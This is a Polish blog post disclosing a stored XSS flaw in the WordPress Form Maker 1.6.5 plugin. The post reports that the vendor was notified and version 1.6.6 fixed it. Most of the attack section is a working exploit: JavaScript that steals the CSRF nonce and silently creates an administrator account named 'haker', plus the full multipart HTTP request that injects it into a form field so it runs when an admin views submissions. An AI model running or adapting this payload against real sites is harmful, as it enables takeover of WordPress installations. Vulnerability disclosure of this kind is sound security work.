Przejdź do głównej zawartości

WordPress Form Maker 1.6.5 - Stored XSS

W ostatnim czasie bawiłem się wtyczką do WordPressa o nazwie Form Maker (v1.6.5). Postanowiłem przejrzeć kod tej wtyczki i sprawdzić jego jakość oraz poziom zabezpieczenia danych przychodzących od użytkowników. Jak się okazuje poziom zabezpieczeń tego dodatku pozostawia wiele do życzenia (zresztą poziom jakości kodu źródłowego również). Wygenerowałem przy użyciu panelu zarządzania FormMaker'a formularz z jednym polem typu "select: oraz przyciski "submit" i "reset". Następnie dodałem widget do prawej kolumny bloga, efekt jest następujący:

 

W zasadzie pole to nie jest zabezpieczone w żaden sposób przed doklejeniem do wartości skryptu JS. Wartości te wpadają do tabelki wp_formmaker_submits do kolumny element_value. Użytkownik zarządzający (domyślnie administrator) może przeglądać w panelu WP statystyki utworzone na podstawie przesłanych przez użytkowników danych, oto przykład ( http://localhost/wordpress/wp-admin/admin.php?page=Form_maker_Submits ):


Nic nie stoi zatem na przykładzie, aby spróbować wrzucić przez formularz skrypt JS, który nieświadomie uruchomi sam administrator przeglądający statystyki witryny - nic też nie stoi na przeszkodzie aby skrypt też dodał dla nas użytkownika o określonym loginie, haśle oraz określonej grupie (np. administrator).

Na początku trzeba napisać funkcję, która z formularza dodawania użytkownika pobierze aktualny token zapobiegający atakom CSRF.

function getCSRFToken() {
    var resp = jQuery.ajax("http://localhost:8080/wordpress/wp-admin/user-new.php", {async: false});
    var searchText  = ' name="_wpnonce_create-user" value="';
    var respTxt = resp.responseText;
    var varStartPos = respTxt.indexOf(searchText)+searchText.length;
    var varStopPos  = respTxt.indexOf('"', varStartPos);
    var res = respTxt.substring(varStartPos, varStopPos);
    return res;
}

Następnie należy dopisać kawałek kodu, który pobierze przy użyciu napisanej funkcji token CSRF i prześle w żądaniu POST dane użytkownika, którego chcemy założyć w systemie WordPress.

var token = getCSRFToken();
jQuery.ajax({
    type: "POST",
    url: "http://localhost:8080/wordpress/wp-admin/user-new.php",
    data : {
       "action": "createuser",
       "_wpnonce_create-user": token,
       "_wp_http_referer" : "/wordpress/wp-admin/user-new.php",
       "user_login": "haker",
       "email" : "abcd@abcd.pl",
       "first_name" : "haker",
       "last_name" : "haker",
       "url" : "",
       "pass1": "test",
       "pass2": "test",
       "role": "administrator"
    }
});
W chwili gdy administrator będzie przeglądał raport z formularza/ankiety nieświadomie założy nam konto z dostępem do systemu na poziomie administracyjnym.

Przykład żądania infekującego system WordPress:

Nagłówki:
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/~matis/wordpress/
Cookie: wp-settings-time-1=1390159250; wp-settings-time-2=1390156858; wp-settings-2=mfold%3Do; wp-settings-1=editor%3Dhtml; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_0c5adc8dcb9e5502c1e0869a0bb781e6=admin%7C1390411515%7C400db2d0d0cea602d78db3c5d7e91a39; PHPSESSID=aq2uhhptv63d4g5h9jn8uomed74h5hptpb931jon35u144lgv1k1
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------7842590414246330011810426949
Content-Length: 672
Treść żądania (content body):
 -----------------------------7842590414246330011810426949\r\n
Content-Disposition: form-data; name="counter10"\r\n
\r\n
3\r\n
-----------------------------7842590414246330011810426949\r\n
Content-Disposition: form-data; name="1_type10"\r\n
\r\n
type_own_select\r\n
-----------------------------7842590414246330011810426949\r\n
Content-Disposition: form-data; name="1_required10"\r\n
\r\n
no\r\n
-----------------------------7842590414246330011810426949\r\n
Content-Disposition: form-data; name="1_element10"\r\n
\r\n
option 1<script>function getCSRFToken() {
    var resp = jQuery.ajax("http://localhost:8080/wordpress/wp-admin/user-new.php", {async: false});
var searchText  = ' name="_wpnonce_create-user" value="';
var respTxt = resp.responseText;
var varStartPos = respTxt.indexOf(searchText)+searchText.length;
var varStopPos  = respTxt.indexOf('"', varStartPos);
var res = respTxt.substring(varStartPos, varStopPos);
return res;
}

var token = getCSRFToken();
jQuery.ajax({
    type: "POST",
url: "http://localhost:8080/wordpress/wp-admin/user-new.php",
data : {
   "action": "createuser",
"_wpnonce_create-user": token,
"_wp_http_referer" : "/wordpress/wp-admin/user-new.php",
"user_login": "haker",
"email" : "abcd@abcd.pl",
"first_name" : "haker",
"last_name" : "haker",
"url" : "",
"pass1": "test",
"pass2": "test",
"role": "administrator"
}
});
 </script>\r\n
-----------------------------7842590414246330011810426949\r\n
Content-Disposition: form-data; name="2_type10"\r\n
\r\n
type_submit_reset\r\n
-----------------------------7842590414246330011810426949--\r\n
Środowisko testowe:
  • Komputer z serwerem www (środowisko lokalne)
  • Apache2 w wersji 2.4
  • PHP w wersji 5.4.4
  • MariaDB

Testowane wersje oprogramowania:
  • WordPress - 3.8
  • FormMaker - 1.6.5 (by WebDorado)
Artykuł ten służy jedynie celom edukacyjnym a dostawca oprogramowania został już powiadomiony o istniejącej luce w oprogramowaniu.

Aktualizacja (1 lutego 2014):

W najnowszej wersji 1.6.6 naprawiono już wspomniany przeze mnie błąd, poniżej zrzut ekranu z change-loga:



Artykuł udostępniany na licencji CC-BY-SA-3.0

Komentarze

Prześlij komentarz

Popularne posty z tego bloga

WordPress -> SQL Injection poprzez plugin Webdorado SpiderCalendar

W zeszłym roku sprawdziłem jakość kodu oraz poprawność przetwarzania danych wejściowych przez plugin „Form Maker” przygotowany przez wydawcę Webdorado. Tym razem postanowiłem sprawdzić czy autor poprawił jakoś kodu swoich produktów. Należy tutaj nadmienić, że poza wersjami darmowymi opartymi na licencji GNU/GPLv2 oferuje on również wersję płatne z dodatkowymi szablonami. Tym razem postaram się opisać wszelkie przeszkody, które musiałem pokonać aby n apisać działającego exploita. Zacząłem zabawę tak, że program był dla mnie black-boxem, ale niestety skończyło się na przejrzeniu kodu. Zapraszam do lektury. Poniżej można zobaczyć jeden z widoków częściowych kalendarza, który domyślnie jest wywoływany z JavaScriptu jako XHR, można jednak go z powodzeniem otworzyć w przeglądarce jako widok główny: http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calend...

OpenSUSE Linux 12.3 - czarny ekran

 Ze względu na moduł KMS, który jakiś czas temu został dodany do jądra systemu GNU/Linux, sporo sterowników kart graficznych musiało zostać przepisanych. Niestety do tej pory niektórzy użytkownicy mogą doznawać różnego rodzaju problemów z tym związanych. W OpenSUSE 12.3 (najprawdopodobniej też w innych oznaczonych 12.x) występuje problem braku prawidłowego funkcjonowania podświetlenie matrycy w laptopach typu emachines (między innymi w modelach emachines e525) wyposażonych w karty graficzne Intel GM45. Problem ten również może występować w innych dystrybucjach systemu GNU/Linux, które wykorzystują jądra Linux w tych samych wersjach. Żeby rozwiązać ten problem jako podstawowy test wykonaj próbę uruchomienia systemu z dodatkowym parametrem uruchomienia jądra " nomodeset ". Dopisz ten parametr do linii argumentów podczas wyświetlania menu probramu GRUB. Jeśli po uruchumoniu działa podświetlenie, to najprawdopodobniej występować może problem z rozdzielczością, która np. będzi...

Linux - dzielenie filmu na części (ffmpeg)

 Ostatnio natknąłem się na ciekawy problem. Mianowicie plik wideo, który "ważył" około 5GB chciałem przegrać na pendrive celem uruchomienia w telewizorze. Oczywiście telewizor z niewiadomych przyczyn nie wspierał linuxowych systemów plików, więc dało się skopiować jedynie pierwsze 4GB filmu z uwagi na ograniczenie maksymalnego rozmiaru pliku. Z uwagi na to, iż pliki wideo mają odpowiednie nagłówki itp podzielenie tegoż filmu poleceniem split było niemożliwe: split -b 2048m nagranie.avi Na systemach GNU/Linux wszystko zazwyczaj można zrobić w prosty sposób z poziomu konsoli. Z pomocą przyszedł mi ffmpeg. Poniżej przykład podziału pliku video o długości 02 godziny 49 minut i 00 sekund: fmpeg -i nagranie.avi -vcodec copy -acodec copy -ss 00:00:00 -t 01:30:00 nagranie_p1.avi;  ffmpeg -i nagranie.avi -vcodec copy -acodec copy -ss 01:30:00 -t 02:49:00 nagranie_p2.avi  W ten sposób otrzymamy 2 pliki video (mniej więcej równe) o nazwie nagranie_p1.avi oraz nagranie_p2....